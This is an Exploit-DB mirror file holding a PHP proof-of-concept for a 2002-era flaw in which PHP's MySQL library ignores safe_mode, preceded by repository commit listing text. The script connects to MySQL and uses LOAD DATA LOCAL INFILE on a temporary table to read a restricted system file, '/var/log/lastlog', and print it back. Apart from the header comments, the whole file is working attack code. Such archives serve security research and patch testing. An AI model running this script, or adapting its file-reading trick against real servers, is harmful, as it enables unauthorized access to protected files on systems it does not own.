exploit-db-mirror/platforms/php/remote/21264.php
Offensive Security feb7c15c11 DB: 2016-05-19
1 new exploits

Debian OpenSSL - Predictable PRNG Bruteforce SSH Exploit (Perl)
Debian and Derivatives OpenSSL 0.9.8c-1<= 0.9.8g-9 - Predictable PRNG Bruteforce SSH Exploit (Perl)

Debian OpenSSL - Predictable PRNG Bruteforce SSH Exploit (Ruby)
Debian and Derivatives OpenSSL 0.9.8c-1<= 0.9.8g-9 - Predictable PRNG Bruteforce SSH Exploit (Ruby)

Debian OpenSSL - Predictable PRNG Bruteforce SSH Exploit (Python)
Debian and Derivatives OpenSSL 0.9.8c-1<= 0.9.8g-9 - Predictable PRNG Bruteforce SSH Exploit (Python)
PHP 4.x/5.x MySQL Safe_Mode Filesystem Circumvention Vulnerability (1)
PHP 4.x/5.x MySQL Safe_Mode Filesystem Circumvention Vulnerability (2)
PHP 4.x/5.x MySQL Safe_Mode Filesystem Circumvention Vulnerability (3)
PHP 4.x/5.x MySQL Library - 'Safe_Mode' Filesystem Circumvention Vulnerability (1)
PHP 4.x/5.x MySQL Library - 'Safe_Mode' Filesystem Circumvention Vulnerability (2)
PHP 4.x/5.x MySQL Library - 'Safe_Mode' Filesystem Circumvention Vulnerability (3)

phpliteadmin 1.1 - Multiple Vulnerabilities
phpLiteAdmin 1.1 - Multiple Vulnerabilities

PHP <= 7.0.4/5.5.33 - SNMP Format String Exploit
PHP <= 5.5.33 / <= 7.0.4  - SNMP Format String Exploit

Magento < 2.0.6 - Unauthenticated Arbitrary Unserialize -> Arbitrary Write File
2016-05-19 05:05:38 +00:00

67 lines
No EOL
2.1 KiB
PHP
Executable file

<?php
/*
source: http://www.securityfocus.com/bid/4026/info
PHP's 'safe_mode' feature may be used to restrict access to certain areas of a filesystem by PHP scripts. However, a problem has been discovered that may allow an attacker to bypass these restrictions to gain unauthorized access to areas of the filesystem that are restricted when PHP 'safe_mode' is enabled.
In particular, the MySQL client library that ships with PHP fails to properly honor 'safe_mode'. As a result, a user can issue a LOAD DATA statement to read files that reside in restricted areas of the filesystem (as determined by 'safe_mode').
*/
/*
PHP Safe Mode Problem
This script will connect to a database server running locally or
otherwise,
create a temporary table with one column, use the LOAD DATA statement
to
read a (possibly binary) file, then reads it back to the client.
Any type of file may pass through this 'proxy'. Although unrelated,
this
may also be used to access files on the DB server (although they must
be
world-readable or in MySQLd's basedir, according to docs).
*/
$host = 'localhost';
$user = 'root';
$pass = 'letmein';
$db = 'test_database';
$filename = '/var/log/lastlog'; /* File to grab from [local] server */
$local = true; /* Read from local filesystem */
$local = $local ? 'LOCAL' : '';
$sql = array (
"USE $db",
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
"LOAD DATA $local INFILE '$filename' INTO TABLE $tbl FIELDS "
. "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY '' "
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
"SELECT a FROM $tbl LIMIT 1"
);
Header ('Content-type: text/plain');
mysql_connect ($host, $user, $pass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: " . $statement . "\n" .
"REASON: " . mysql_error () . "\n"
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
echo $r [0];
mysql_free_result ($q);
}